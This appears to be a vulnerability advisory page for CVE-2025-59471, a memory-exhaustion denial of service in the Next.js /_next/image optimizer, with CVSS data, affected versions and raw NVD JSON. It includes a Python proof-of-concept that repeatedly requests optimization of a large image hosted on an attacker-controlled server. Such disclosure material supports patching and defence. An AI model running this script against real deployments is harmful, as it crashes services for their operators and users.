Security Vulnerability Report
中文
CVE-2025-59471 CVSS 5.9 MEDIUM

CVE-2025-59471

Published: 2026-01-26 22:15:53
Last Modified: 2026-02-13 15:03:20

Description

A denial of service vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain. Strongly consider upgrading to 15.5.10 or 16.1.5 to reduce risk and prevent availability issues in Next applications.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
Next.js < 15.5.10 (15.x分支)
Next.js < 16.1.5 (16.x分支)
所有配置了remotePatterns的自托管Next.js部署实例

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-59471 PoC - Next.js Image Optimizer DoS via Large External Image This PoC demonstrates how an attacker can trigger OOM conditions by requesting Next.js to optimize an arbitrarily large external image through the /_next/image endpoint. Prerequisites: - Next.js app has remotePatterns configured to allow the attacker's domain - The attacker can host/serve a large image file on an allowed domain Usage: 1. Host a large image file on an allowed domain (e.g., attacker.com/large.jpg) 2. Run this script to send optimization requests """ import requests import sys import time import argparse def generate_large_image_url(base_url, width=800): """Generate the /_next/image optimization URL for a large external image.""" # Replace this with an actual large image URL allowed by remotePatterns large_image_url = "http://attacker-controlled-server/large_image.jpg" params = { "url": large_image_url, "w": str(width), "q": 80 } target = f"{base_url}/_next/image" return target, params def send_optimization_request(base_url, num_requests=5, delay=1): """ Send multiple /_next/image optimization requests to exhaust server memory. """ target, params = generate_large_image_url(base_url) print(f"[*] Target: {target}") print(f"[*] Image URL: {params['url']}") print(f"[*] Sending {num_requests} optimization requests...\n") for i in range(num_requests): try: print(f"[Request {i+1}/{num_requests}] Sending optimization request...") response = requests.get(target, params=params, timeout=30) print(f" Status: {response.status_code}") if response.status_code == 200: print(f" Response size: {len(response.content)} bytes") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") print("[*] Server may have crashed or run out of memory!") return time.sleep(delay) print("\n[+] Attack completed. Check server memory usage.") print("[*] If server memory was exhausted, the Next.js process may have crashed.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-59471 PoC") parser.add_argument("--url", default="http://localhost:3000", help="Target Next.js base URL") parser.add_argument("--requests", type=int, default=5, help="Number of requests to send") parser.add_argument("--delay", type=float, default=1.0, help="Delay between requests (seconds)") args = parser.parse_args() send_optimization_request(args.url, args.requests, args.delay)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59471", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:52.890", "lastModified": "2026-02-13T15:03:20.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain.\r\n\r\nStrongly consider upgrading to 15.5.10 or 16.1.5 to reduce risk and prevent availability issues in Next applications."}, {"lang": "es", "value": "Una vulnerabilidad de denegación de servicio existe en aplicaciones Next.js autoalojadas que tienen `remotePatterns` configurado para el Optimizador de Imágenes. El endpoint de optimización de imágenes (`/_next/image`) carga imágenes externas completamente en memoria sin aplicar un límite de tamaño máximo, permitiendo a un atacante causar condiciones de falta de memoria al solicitar la optimización de imágenes arbitrariamente grandes. Esta vulnerabilidad requiere que `remotePatterns` esté configurado para permitir la optimización de imágenes desde dominios externos y que el atacante pueda servir o controlar una imagen grande en un dominio permitido.\n\nConsidere encarecidamente actualizar a 15.5.10 o 16.1.5 para reducir el riesgo y prevenir problemas de disponibilidad en aplicaciones Next."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "15.5.10", "matchCriteriaId": "62058253-F46E-44D1-B50A-F15BC93CF928"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.1.5", "matchCriteriaId": "4A242736-494D-4C26-AB21-188C2E2F39FF"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-9g9p-9gw9-jx7f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}